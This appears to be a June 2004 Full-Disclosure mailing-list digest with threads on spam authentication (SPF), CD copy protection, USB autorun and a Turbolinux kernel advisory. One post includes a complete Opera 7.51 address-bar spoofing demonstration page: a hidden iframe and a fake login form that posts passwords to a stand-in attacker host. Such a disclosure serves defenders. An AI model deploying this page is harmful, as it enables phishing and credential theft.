ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
éb½êÞvë"ž axZÞx÷«²‰Ú”Gb¶*'¡óŠ[kj¯ðÃæj)m­ªÿr‰ÿ

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Aditya, ALD [ Aditya Lalit Deshmukh ] (aditya.deshmukhonline.gateway.technolabs.net)
Date: Fri Jun 18 2004 - 03:34:57 CDT

> it is an admin issue.

that is very true, like the programmers have become code monkeys, sysadmin & netadmins have become patch monkeys

>
>
> > The *real* IT department could then link to the
> > executeable and place it on an intranet server
> > which would be secure.
>
> This is an interesting idea but I can't see how one could do it in a

how about only doing so with the file that are zip encrypted - unencrpyted attachments are scanned and passed along, zipped ones are unzipped and scanned but the ones that cannot be unzipped are the ones that go as a link to the user. how does then one deal with other compression formats like ace, rar, lha, arj etc etc ?

-aditya
ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
éb½êÞvë"ž axZÞx÷«²‰Ú”Gb¶*'¡óŠ[kj¯ðÃæj)m­ªÿr‰ÿ

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] USB Auto run function

From: Aditya, ALD [ Aditya Lalit Deshmukh ] (aditya.deshmukhonline.gateway.technolabs.net)
Date: Fri Jun 18 2004 - 03:36:44 CDT

> I have been interested in a potential exploit that may or may not be an
> issue, I read lately that a potential malicious file could enter a system
> via a USB Memory stick with a structured autorun.pif , and this file would
> operate even if the screen lock is activated .

this is true only for cdroms where the autorun has been enabled, winxp does scan for the removable drives but does not run the program based on the autorun but the type of files on the reemovable drive

-aditya
ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
éb½êÞvë"ž axZÞx÷«²‰Ú”Gb¶*'¡óŠ[kj¯ðÃæj)m­ªÿr‰ÿ

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Eric Paynter (ericarcticbears.com)
Date: Thu Jun 17 2004 - 23:58:18 CDT

On Fri, June 18, 2004 1:34 am, Aditya, ALD [ Aditya Lalit Deshmukh ] said:
> how does then one deal with other compression formats
> like ace, rar, lha, arj etc etc ?

Why not exactly the same as zip?

-Eric

--
arctic bears - affordable email and name services yourdomain.com
http://www.arcticbears.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] [Fwd: Caveat Lector: Beastie Boys Evil]

From: Eric Paynter (ericarcticbears.com)
Date: Fri Jun 18 2004 - 00:01:00 CDT

The sad part about this entire topic is the futility of attempting to copy
protect in the first place. So they install some software and Mac and
Win... then some Linux kiddie rips the CD and puts it on P2P and it's out
now for the whole world. All it takes is one person to break it and it's
all over. What a waste of resources trying to protect it.

-Eric

--
arctic bears - affordable email and name services yourdomain.com
http://www.arcticbears.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Spam Solution

From: Paul Rolland (rolwitbe.net)
Date: Fri Jun 18 2004 - 01:21:45 CDT

Hello,

> It seems to me that if we make all MTA's register somehow
> (both SMTP and
> POST), this would eliminate the hijacked machine as spambot
> phenomenon. We
> already have MX records for SMTP, but a lot of providers use
> different
> machines to receive (via SMTP) and send mail (POST). So,
> maybe a new DNS
> record is introduced for POST. Your machine(s) could do both
> or not. When
> your server goes to accept a message, it looks to see if the
> IP of the
> sending machine is listed in this new DNS record. If not,
> return a 5XX error.

Hell, this just means that before spamming, people will also have
to break DNS ... or am I missing something ?

> Didn't I read something somewhere about the possibility of this?

The whole thread titled "Akamai"... :-(

Regards,
Paul

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Spam Solution

From: Nick FitzGerald (nickvirus-l.demon.co.uk)
Date: Fri Jun 18 2004 - 01:33:32 CDT

Alavan <alavanpangeatech.com> wrote:

> Please correct me if I'm missing something here:

You're not.

You are right and the SPF/Caller-ID/Domain Keys folks are just daft.

> Microsoft and POBOX.com support Caller ID and SPF to help thwart phishing
> and SPAM.
>
> I can see it helping phishing (kind of) as the phishers won't be able to
> forge the FROM address. ...

True, and although phishing may be the most costly effect of forged
Email addresses (a recent Gartner study put it at a US$2.4 billion loss
_just to US victims_ in the last 12 months), it is far too recent a
phenomenon to be the main justification or driver of all this idiocy.

SPF was, I believe, originally conceived by some folk who were upset
about being "joe-jobbed".

Worse -- as sender faking is clearly (at least now) _NOT_ a necessary
or even vaguely important part of the spamming process (with the
possible exception of outright fraudulent spam like phishing) -- SPF
would only ever have partly achieved the solution its proponents have
always claimed for it. Under SPF, spammers using a relay or proxy or
spam bot "inside" a given ISP's network will still be able to forge
their Email as being from any address at any domain(s) for which that
ISP's mail servers are "registered" as providing service. All the
spammers have to do is change a few lines of code in spamming routines
and, particularly for the increasing use of spam bots, add a few lines
that pull local Email client config data from the registry and use
those settings for their own spamming.

Precisely the same trivial tweaks will need to be made to the "next
generation" of mass mailers so they no longer forge from addresses, or
at least, no longer forge "inappropriate" from addresses.

SPF, etc will make no difference to the spread of self-mailing viruses
nor to the "popularity" or volume of spam. The reason is obvious - it
does not "authenticate" the user nor the process sending the Email,
merely some superficial machine to machine connection details that are
fundamentally _irrelevant_ to the process of spamming, self-mailing
virus propagation and so on.

> ... But, that won't stop naive users from entering
> their personal information onto the fake site even with some rogue FROM
> address. Also, the phishers can just claim to be from a hired consulting
> agency and send the SPAM from a hijacked PC on a domain that sounds
> somewhat technical (or something like that).

Yep -- there are far too many other things that will more or less work
here. It seems that the proponents of these schemes have lost site of
the social aspects of the problems they claim their proposals will
"fix". When a worthwhile payoff is achievable from a 0.001% _or even
lower_ hit rate, a technological solution has to be bomb-proof to even
begin to hope that it can work.

As SPF/Caller-ID/Domain Keys and the like are leakier than Dear Liza's
bucket they are doomed to abject failure.

> Also, if spammers can't forge, so what? They'll just grab the domain name
> from the PC they've hijacked and send away or go back to using the e-mail
> client on the machine. Once the spammers change their methodology (which
> they do all the time to counter anti-spam efforts), these measures will
> have little to no effect.

Correct.

You sir, clearly have more intellect than the whole SPF cartel rolled
together (why do images of dung-beetles flash before my eyes?).

> Plus, many people use a FROM address from one of their other POP accounts
> on other domains. For instance, let's say I'm sending an e-mail from home
> just before I leave to a business contact and I want them to see my
> corporate e-mail address instead. In order to accomplish this after Caller
> ID and SPF, all admins will have to get their users to switch to POP before
> SMTP to their corporate mail servers to avoid these returned e-mails (when
> the FROM address is intentionally forged).

Many people do, like me (in fact, my current headers must be really
screwy because I've half-transitioned from one local ISP and one access
method to another, and still insist on using the Email address for my
UK provider who I cannot use for access and who, last I checked, did
not support SMTP AUTH or TLS).

And many folk who travel _have to_ forge Email (and often do not even
know they are doing so!). Most of those hi-speed access methods in US
(and increasingly European, Asian and Pacific) hotels and WiFi access
points and all sorts intercept port 25 and silently redirect through
their own (service providers') mail servers because world plus dog has
disabled anonymous relaying as an anti-spam measure... I know, SMTP
AUTH and/or TLS is supposed to be the solution to that, but as it is
not part of the original spec, it is not as widely implemented as it
should be (and many large service providers simply balk at the idea of
making it available because of the CPU overhead, etc).

_AND_ then there are all those "vanity" and "for life" Email addresses
and all manner of forwarding arrangements that depend on "forging".

Why should bob <at> ieee.org (sorry Bob -- hope you don't mind me
picking you out, if you exist), who may have been using that address
for all his (non-work) Email for a decade or three be deprived of that
functionality?

And all kinds of _really_ ugly problems are raised for mailing lists
(which get even worse if you add something like Billy Boy's favourite,
the so-called "Penny Black" scheme, to the mix. Of course, I'm sure
the fact that he could smell some kind of never-ending income stream by
way of commission or other service charges from having MS/MSN/Hotmail
provide some significant part of the universal micro-payment scheme
such would require has nothing to do with Bill's interest in this...)

Sure, from the advantage of today's world view, the provision of
address forging (well, more correctly, the non-provision of strong
authentication and non-repudiation) in SMTP at the outset was a
horrendous mistake -- one we certainly wouldn't make today if we were
to completely re-design Email from the ground up, right?. Of course,
it's easy for smart-a*se kids, who have no grip on what "Email without
DNS" was like, to make such assessments, just as they entirely fail to
comprehend the utter ugliness of a massively non-homogeneous "inter-
network" with lots of competing and different messaging services all
trying to relay and translate messages between each other. (For the
record, in case anyone thinks I'm a real old-timer, I'm just old enough
to have seen the bitter end of support for bang-paths and having to
know which relays to point your servers at if they got messages
addressed to Bitnet-hosted and C$ addresses.)

> From what I've seen, most of the SPAM comes from hijacked machines - even
> the SPAM from other countries. So, port 25 blocking is good, but not the
> be-all end-all as some "users" will want to host their own mail.

Indeed.

And, if SPF and the like become at all "successful", in the sense that
they are actually used coercively to "reduce spam and viruses", the
spammers and virus writers will update their "md 5kI11z" to beat the
trivial restrictions SPF, etc put in their way, and will do so _MUCH_
faster than the broader IT community can "fix" the vast array of
existing "SMTP but non-SPF compliant" infrastructure. Thus, if SPF,
etc ever bites we will see viruses and spam continue apace (there will
be a momentary drop in activity of a few days to weeks while the "old"
viruses, spam bots, relays and proxies "die off" and are replaced/
updated) while large chunks of the net wallows to catch up and
implement the function, but not spam and virus, limiting requirements
of SPF, etc.

Sounds like a really, really great deal to me.

NOT!

> It seems to me that if we make all MTA's register somehow (both SMTP and
> POST), this would eliminate the hijacked machine as spambot phenomenon. We
> already have MX records for SMTP, but a lot of providers use different
> machines to receive (via SMTP) and send mail (POST). So, maybe a new DNS
> record is introduced for POST. Your machine(s) could do both or not. When
> your server goes to accept a message, it looks to see if the IP of the
> sending machine is listed in this new DNS record. If not, return a 5XX error.
>
> Didn't I read something somewhere about the possibility of this?

Haven't you more or less just described SPF?

And there I was thinking you understood what you were talking about...

Oh well, hopefully the above helps you understand better.

--
Nick FitzGerald
Computer Virus Consulting Ltd.
Ph/FAX: +64 3 3529854

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] [Fwd: Caveat Lector: Beastie Boys Evil]

From: Szilveszter Adam (adamnhh.hu)
Date: Fri Jun 18 2004 - 02:41:39 CDT

Eric Paynter wrote:

> The sad part about this entire topic is the futility of attempting to copy
> protect in the first place. So they install some software and Mac and
> Win... then some Linux kiddie rips the CD and puts it on P2P and it's out
> now for the whole world. All it takes is one person to break it and it's
> all over. What a waste of resources trying to protect it.

Unfortunately, it's worse now. They will in all seriousness put out a
broken (non-Redbook compliant) CD (that still has the "Compact Disc
Digital Audio" logo on it in many cases!) that has the audio tracks in a
format that most CD-ROM drives and burners etc will not be able to
properly play because they eg look like data tracks with intentional
errors in them, or a TOC where all tracks are just 2 seconds long or TOC
entries that point to junk etc, while count on the fact that most simple
audio CD players don't give a s*t about data tracks, or even the audio
CD standard's finesses but will just start playing anyway and therefore
the "copy-protected" (in reality: playback protected) CD will work there
(most of the time. If you are unlucky and have a more picky model, then
it will not work even there. Like car stereos, for example) And then, so
that the computer people cannot claim that they cannot play the CD, they
will also include a dumbed-down low-quality version that is only
playable ba the special player application that also comes with the CD.
(That's how eg Cactus works) This application will of course only be
available for win and perhaps the mac. So on your Linux or BSD box, you
will not be able to even play the CD, if your drive is
standards-compliant. The labels figure that even if you "break" the DRM
on the dumbed-down versions, there is really no point, since the quality
is just ****. In order to get to the audio, you would often have to muck
around with low-level stuff in reading routines of the drives however,
which may not always be possible.

Of course, this is not to say that some manufacturers of eg CD burners
have not started implementing workarounds for some of the (older)
copy-protection schemes so that those drives will still be able to grab
the CDs. The really funny part is that some of these manufacturers are
members of big conglomerates that also include record labels... although
I am not sure that eg Sony models can circumvent copy-protection in use
at Sony Music... I somehow doubt this... but possible. These big
corporations are funny places, even the parts internally compete with
each-other on who is best and who generates more revenue.

This is also not to say that once the content can be played back the
analogue signal cannot be re-converted to digital (and this is even not
forbidden by the many laws against circumvention of "technical
mesaures") and with sufficiently high-quality parts the difference will
not be that big for the ears... hey many people still find quality of
normal tapes acceptable!

But still that means that I never buy a CD that is copy-protected, no
matter what. The more people who do this the more impact it will have.
(And I am absolutely mad at some labels who do not even warn you on the
cover that they use copy protection, or only do it in English, which
many people here do not understand. Luckily this is getting rare.) For
example there is a somewhat-popular radio DJ in Hungary who puts out a
new mix of the previous year's hits each year. He is signed up with Sony
Music Hungary. One year the CD contained copy-protection. I did not buy
it, and told others not to do it either. Next year, the copy-protection
was gone. Probably, because sales dropped significantly (while the
copying didn't) This merely confirmed my belief that consumer behaviour
may be a key.

Regards,
Sz.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] IFH-ADV-31337 File Source disclosure vulnerability in all web servers.

From: CrYpTiC MauleR (crypticmaulerlinuxmail.org)
Date: Fri Jun 18 2004 - 04:57:13 CDT

OMFG!!! *shits pants*

 O.O
  O

How do I patch??!?!?!?!? *shuts down servers*
--
______________________________________________
Check out the latest SMS services http://www.linuxmail.org
This allows you to send and receive SMS through your mailbox.

Powered by Outblaze

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Spam Solution

From: Gadi Evron (geegotistical.reprehensible.net)
Date: Fri Jun 18 2004 - 05:37:57 CDT

> Also, if spammers can't forge, so what? They'll just grab the domain
> name from the PC they've hijacked and send away or go back to using the
> e-mail client on the machine. Once the spammers change their methodology
> (which they do all the time to counter anti-spam efforts), these
> measures will have little to no effect.

I believe this is the main issue here.

Spammers already have and use the technology to circumvent all this, so
they don't even need to invent new tricks.

As long as there are drone armies and unsuspecting "stupid" users, these
kind of solutions, although interesting and helpful, are useless to stop
actual spam.

Another issue is that non of the people I talked this over with see how
this can work unless globally adopted by everyone. An adoption of this
system over a few years simply won't work. It needs to be over-night and
that's not going to happen.

        Gadi Evron.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Spam Solution

From: Larry Seltzer (larrylarryseltzer.com)
Date: Fri Jun 18 2004 - 06:31:26 CDT

>>Spammers already have and use the technology to circumvent all this, so they don't
even need to invent new tricks.

SMTP AUTH cracking and using the ISP account? Not that it can't and won't be done, but
I'm aware of no actual examples. Could you cite one please?

>>As long as there are drone armies and unsuspecting "stupid" users, these kind of
solutions, although interesting and helpful, are useless to stop actual spam.

So if you have enough systems doing it you can send unauthenticated mail through servers
that require authentication? Please explain this to me.

>>Another issue is that non of the people I talked this over with see how this can work
unless globally adopted by everyone. An adoption of this system over a few years simply
won't work. It needs to be over-night and that's not going to happen.

No it doesn't. It's enough that MTAs can choose for a while to treat authenticated and
unauthenticated mail differently. And before too long if the major ISPs and major
corporations and government adopt the scheme (and there's an excellent chance they will)
others will be forced to adopt it in order for their mail to get through reliably. Then
one day admins can throw the switch and reject unauthenticated mail.

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.ziffdavis.com/seltzer
larryseltzerziffdavis.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] [Fwd: Caveat Lector: Beastie Boys Evil]

Andrew_B_Lentkeybank.com
Date: Fri Jun 18 2004 - 07:21:36 CDT

There's also the point of fraud to be considered. By copy protecting a
disc, the record companies can no longer call it a Compact Disc (too many
errors). See http://en.wikipedia.org/wiki/CDDA for some detail.

-=A=-

                                                                           
             ericarcticbears.
             com
             Sent by: To
             full-disclosure-a full-disclosurelists.netsys.com
             dminlists.netsys cc
             .com
                                                                   Subject
                                       Re: [Full-Disclosure] [Fwd: Caveat
             06/18/2004 01:01 Lector: Beastie Boys Evil]
             AM
                                                                           
                                                                           
                                                                           
                                                                           
                                                                           

The sad part about this entire topic is the futility of attempting to copy
protect in the first place. So they install some software and Mac and
Win... then some Linux kiddie rips the CD and puts it on P2P and it's out
now for the whole world. All it takes is one person to break it and it's
all over. What a waste of resources trying to protect it.

-Eric

--
arctic bears - affordable email and name services yourdomain.com
http://www.arcticbears.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

graycol.gif
pic24779.gif
ecblank.gif
 
[Full-Disclosure] CDs from the Libraries that Mysteriously "Won't Play" on some equipment

From: Steve Kudlak (chromazinesbcglobal.net)
Date: Fri Jun 18 2004 - 07:37:08 CDT

Apparently the CDs in the "Spanish Level One" course won't play on
some CD players. The "GPX" brand which is a cheapie widely sold
(Long's etc.) has some kind of system to reject what it thinks are CD-Rs
probably because someone convinced the manufacturer that only
"stolen music" and other illegitimate stuff is found on CD-Rs and any
other non-massproduced CDs.

Alas, lots of legitimate publishers of language material burn their own
CDs because it is cheap and easy to do. With Spanish it might not be
a problem but I could imagine if one had Quiche the only choice might
be burning your own CDs unless you have lotsa bucks.

In addition to language publishers, there are artists, musicians , zinestes
and other independent publishers who legitimately burn their own CDs
who shouldn't be penalized. (I'll stop my grandstanding now.;) IF ANYONE
KNOWS A RELIABLE WORKAROUND PLEASE PUBLISH IT.

Thanks and Have Fun,
Sends Steve
 
P.S. Note I bcc'd a lot of people on this. I am always unsure of whehter to
use cc or bcc, but since this a high volume vist and I frequently hit
<reply all>;)
maybe bcc is best.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] USB Auto run function

From: Oscar Fajardo Sanchez (oscar.fajardoatosorigin.com)
Date: Fri Jun 18 2004 - 01:09:54 CDT

  This issue has been discused in pentest list. Take a look at:

  http://archives.neohapsis.com/archives/sf/pentest/2004-05/0136.html

  Regards.

----- Original Message -----
From: "Aditya, ALD [ Aditya Lalit Deshmukh ]"
<aditya.deshmukhonline.gateway.technolabs.net>
Date: Friday, June 18, 2004 10:36 am
Subject: Re: [Full-Disclosure] USB Auto run function

> > I have been interested in a potential exploit that may or may
> not be an
> > issue, I read lately that a potential malicious file could enter
> a system
> > via a USB Memory stick with a structured autorun.pif , and this
> file would
> > operate even if the screen lock is activated .
>
> this is true only for cdroms where the autorun has been enabled,
> winxp does scan for the removable drives but does not run the
> program based on the autorun but the type of files on the
> reemovable drive
>
> -aditya
> ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
> éb½êÞvë"ž axZÞx÷«²‰Ú”Gb¶*'¡óŠ[kj¯ðÃæj)m­ªÿr‰ÿ
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

-----------------------------------------------------------------
This e-mail and the documents attached are confidential and intended solely
for the addressee; it may also be privileged. If you receive this e-mail
in error, please notify the sender immediately and destroy it.
As its integrity cannot be secured on the Internet, the Atos Origin group
liability cannot be triggered for the message content. Although the
sender endeavours to maintain a computer virus-free network, the sender does
not warrant that this transmission is virus-free and will not be liable for
any damages resulting from any virus transmitted.

"Este mensaje y los ficheros adjuntos pueden contener información
confidencial destinada solamente a la(s) persona(s) mencionadas
anteriormente. Pueden estar protegidos por secreto profesional Si usted
recibe este correo electrónico por error, gracias de informar inmediatamente
al remitente y destruir el mensaje.
Al no estar asegurada la integridad de este mensaje sobre la red, Atos
Origin no se hace responsable por su contenido. Su contenido no constituye
ningún compromiso para el grupo Atos Origin, salvo ratificación escrita por
ambas partes.
"Aunque se esfuerza al máximo por mantener su red libre de virus, el emisor
no puede garantizar nada al respecto y no será responsable de cualesquiera
daños que puedan resultar de una transmisión de virus"
------------------------------------------------------------------

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Spam Solution

From: Gadi Evron (geegotistical.reprehensible.net)
Date: Fri Jun 18 2004 - 08:01:01 CDT

> SMTP AUTH cracking and using the ISP account? Not that it can't and won't be done, but
> I'm aware of no actual examples. Could you cite one please?

I was referring to using Trojaned machines and using the user's actual
email address. Much like you were, only I was talking of using Outlook.

> So if you have enough systems doing it you can send unauthenticated mail through servers
> that require authentication? Please explain this to me.

See above.

> No it doesn't. It's enough that MTAs can choose for a while to treat authenticated and
> unauthenticated mail differently. And before too long if the major ISPs and major
> corporations and government adopt the scheme (and there's an excellent chance they will)
> others will be forced to adopt it in order for their mail to get through reliably. Then
> one day admins can throw the switch and reject unauthenticated mail.

I hope you are right. I don't think you are, but I hope I am wrong.

I already went through this discussion on several mailing lists.. I
think I'll quit now while ahead. :)

        Gadi Evron.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Opera Browser version 7.51 Address Bar Spoofing Vulnerability

From: winter bitlance (bitlance_3hotmail.com)
Date: Fri Jun 18 2004 - 07:39:22 CDT

Hi List.

A vulnerability is found in the Opera browser version 7.51 , which can be
exploited by spammers to spoof information displayed in the address
bar.Tested on Windows OS.

Demonstration HTML source code:

======== begin ========
[!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"]
[html lang="en"]
[head]
[meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"]
[meta http-equiv="Content-Script-Type" content="text/javascript"]
[meta http-equiv="Content-Style-Type" content="text/css"]
[meta http-equiv="REFRESH"
  content="0;url=javascript:(function(){})();"]
[title]Opera 7.51 Address Bar Spoofing Vulnerability[/title]
[script type="text/javascript"]
[!-- hide JavaScript from old browsers
var dummy="Do not remove this script element.";
// end hiding JavaScript --]
[/script]
[style type="text/css"]
[!-- /* hide iframe element. */
  iframe {
         display: none !important;
         }
/* hide iframe element. */ --]
[!-- /* pizza form */
  body {
         margin-left: 2em;
         margin-right: 2em;
         font-family:verdana;
         font-size:80%;
       }
  h1 { font-size:120%;}
  h2 { font-size:100%;}
  table { font-size:85%; background-color:buttonface; }
  table caption {
    background-color:activecaption; color:captiontext;
    font-weight:bold; text-align:left; }
  table table { font-size:100%; }
  table input { font-family:verdana; font-size:100%; }
  table select { font-family:verdana; font-size:100%; }
/* pizza form */ --]
[/style]
[/head]
[body]
[h1]Opera Browser version 7.51 Address Bar Spoofing Vulnerability[/h1]
[h2]Tested on Windows OS[/h2]
[p][a href="http://www.opera.com/" title="Opera 7.51, Everything You Need
Online"]
Opera 7.51[/a], Everything You Need Online
[/p]
[iframe title="inline frame spoofing address bar"
src="https://pizza.opera.com/order.html"]
This inline frame is hidden. See CSS.
[/iframe]
[!-- below, phishing form order pizza --]
[h2]Welcome to Pizza Opera dot Com[/h2]
[form name="frmPizza" action="phishing://evilsite.tld"]
[table id="tblPizzaForm" cellspacing="0" cellpadding="3"]
[caption]Order Your Pizza[/caption]
[tr valign="top"]
  [td][label for="txtName" accesskey="M"]Na[u]m[/u]e: [/label][/td]
  [td][input type="text" name="txtName" id="txtName"][/td]
[/tr]
[tr valign="top"]
  [td][label for="txtPassword" accesskey="P"][u]P[/u]assword: [/label][/td]
  [td][input type="password" name="txtPassword" id="txtPassword"][/td]
[/tr]
[tr valign="top"]
  [td][label for="selSize" accesskey="S"][u]S[/u]ize: [/label][/td]
  [td]
    [select name="selSize" id="selSize"]
    [option value="0"]--- pick a size --- [/option]
    [option value="1"]Small[/option]
    [option value="2"]Medium[/option]
    [option value="3"]Large[/option]
    [/select]
  [/td]
[/tr]
[tr valign="top"]
  [td colspan="2"]
    [fieldset id="fstCrust"]
    [legend]Crust[/legend]
    [table cellpadding="1" cellspacing="0"]
    [tr]
      [td][input type="radio" name="radCrust" id="radCrust_Thick"
value="Thick"][/td]
      [td][label for="radCrust_Thick"
accesskey="K"]Thic[u]k[/u][/label][/td]
      [td][input type="radio" name="radCrust" id="radCrust_Thin"
value="Thin"][/td]
      [td][label for="radCrust_Thin" accesskey="N"]Thi[u]n[/u][/label][/td]
    [/tr]
    [/table]
    [/fieldset]
  [/td]
[/tr]
[tr valign="top"]
  [td colspan="2"]
    [fieldset id="fstToppings"]
    [legend]Toppings[/legend]
    [table cellpadding="1" cellspacing="0"]
    [tr]
      [td][input type="checkbox" name="chkHam" id="chkHam" value="Ham"][/td]
      [td][label for="chkHam" accesskey="H"][u]H[/u]am[/label][/td]
    [/tr]
    [tr]
      [td][input type="checkbox" name="chkPineapple" id="chkPineapple"
value="Pineapple"][/td]
      [td][label for="chkPineapple"
accesskey="I"]P[u]i[/u]neapple[/label][/td]
    [/tr]
    [tr]
      [td][input type="checkbox" name="chkExtraCheese" id="chkExtraCheese"
value="Extra Cheese"][/td]
      [td][label for="chkExtraCheese" accesskey="E"][u]E[/u]xtra
Cheese[/label][/td]
    [/tr]
    [/table]
    [/fieldset]
  [/td]
[/tr]
[tr valign="top"]
  [td colspan="2" align="right"][input type="submit" value=" Order!
"][/td]
[/tr]
[/table]
[/form]
[/body]
[/html]
========= end =========
(Sorry,too long code.)

Thank you, List.

--
bitlance winter

P.S.
I tender my acknowledgment to my godparent who has named 'bitlance'.

_________________________________________________________________
Watch the online reality show Mixed Messages with a friend and enter to win
a trip to NY
http://www.msnmessenger-download.click-url.com/go/onm00200497ave/direct/01/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [TURBOLINUX SECURITY INFO] 18/Jun/2004

From: Turbolinux (security-announceturbolinux.co.jp)
Date: Fri Jun 18 2004 - 03:46:08 CDT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

This is an announcement only email list for the x86 architecture.
============================================================
Turbolinux Security Announcement 18/Jun/2004
============================================================

The following page contains the security information of Turbolinux Inc.

 - Turbolinux Security Center
   http://www.turbolinux.com/security/

 (1) kernel -> kernel crash

===========================================================
* kernel -> kernel crash
===========================================================

 More information :
    The kernel package contains the Linux kernel (vmlinuz), the core of your Linux operating system.
    Linux kernel 2.4.2x and 2.6.x for x86 allows local users to cause a denial of service (system crash),
    possibly via an infinite loop that triggers a signal handler with a certain sequence of fsave
    and frstor instructions, as originally demonstrated using a "crash.c" program.

 Impact :
    The vulnerability allows an attacker to make the cause of the denial of service of the kernel.

 Affected Products :
    - Turbolinux Appliance Server 1.0 Hosting Edition
    - Turbolinux Appliance Server 1.0 Workgroup Edition
    - Turbolinux 10 F...
    - Turbolinux 10 Desktop
    - Turbolinux 8 Server
    - Turbolinux 8 Workstation
    - Turbolinux 7 Server
    - Turbolinux 7 Workstation

 Solution :
    Please use the turbopkg (zabom) tool to apply the update.
 ---------------------------------------------
 [Turbolinux 10 Desktop, Turbolinux 10 F...]
 # zabom -u kernel kernel-doc kernel-extramodules kernel-headers kernel-pcmcia-cs \
            kernel-smp kernel-source

 [other]
 # turbopkg
 or
 # zabom update kernel kernel-BOOT kernel-doc kernel-headers \
                kernel-pcmcia-cs kernel-smp kernel-smp64G kernel-source
 ---------------------------------------------

 <Turbolinux Appliance Server 1.0 Hosting Edition>

   Source Packages
   Size : MD5

   kernel-2.4.25-4.src.rpm
     36883928 1a0c7251fbbe08cca0cf675661c7c92e

   Binary Packages
   Size : MD5

   kernel-2.4.25-4.i586.rpm
     13778668 b2c70992005e4ccbd977f8a7e5675a2b
   kernel-BOOT-2.4.25-4.i586.rpm
      6893062 184da8748cbf34bf02f4c2447cd884ed
   kernel-doc-2.4.25-4.i586.rpm
      1573535 3ad161e9b63fe5bb74a48a8314ec6036
   kernel-headers-2.4.25-4.i586.rpm
      1985516 4f86ac6c5886303f372f0c40d9905397
   kernel-pcmcia-cs-2.4.25-4.i586.rpm
       365947 a0ae1fdcaa42cabe3241fda906060602
   kernel-smp-2.4.25-4.i586.rpm
     14175739 89bebc7ab668bc85610aa99bc1d3e280
   kernel-smp64G-2.4.25-4.i586.rpm
     14153765 3877f89cc0eaa9f50b7975485e727ba7
   kernel-source-2.4.25-4.i586.rpm
     27486092 214ad563f4b90eb1042925cea94ab1c3

 <Turbolinux Appliance Server 1.0 Workgroup Edition>

   Source Packages
   Size : MD5

   kernel-2.4.25-4.src.rpm
     36883928 b868b87c5d68c23f33b63be09d04927c

   Binary Packages
   Size : MD5

   kernel-2.4.25-4.i586.rpm
     13778668 a20391455654c4c926b82fec0402627c
   kernel-BOOT-2.4.25-4.i586.rpm
      6893062 09bd9dd0c8d58838c943ba6d02df5f8a
   kernel-doc-2.4.25-4.i586.rpm
      1573535 a30f53f38e9cd4ee68502bd6ad9feb10
   kernel-headers-2.4.25-4.i586.rpm
      1985516 75a2ec75a7f9802a45f3a6dd0eb3ddb5
   kernel-pcmcia-cs-2.4.25-4.i586.rpm
       365947 e9e12baeb409c11de972c11d92913ba2
   kernel-smp-2.4.25-4.i586.rpm
     14175739 9acd15559159dcc36f6f20c291f5347d
   kernel-smp64G-2.4.25-4.i586.rpm
     14153765 a191020097cf3dd49c0e07a1b975a3b4
   kernel-source-2.4.25-4.i586.rpm
     27486092 08fe3278215645e673eb7b38d3088cc5

 <Turbolinux 10 Desktop, Turbolinux 10 F...>

   Source Packages
   Size : MD5

   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/kernel-2.6.0-10.src.rpm
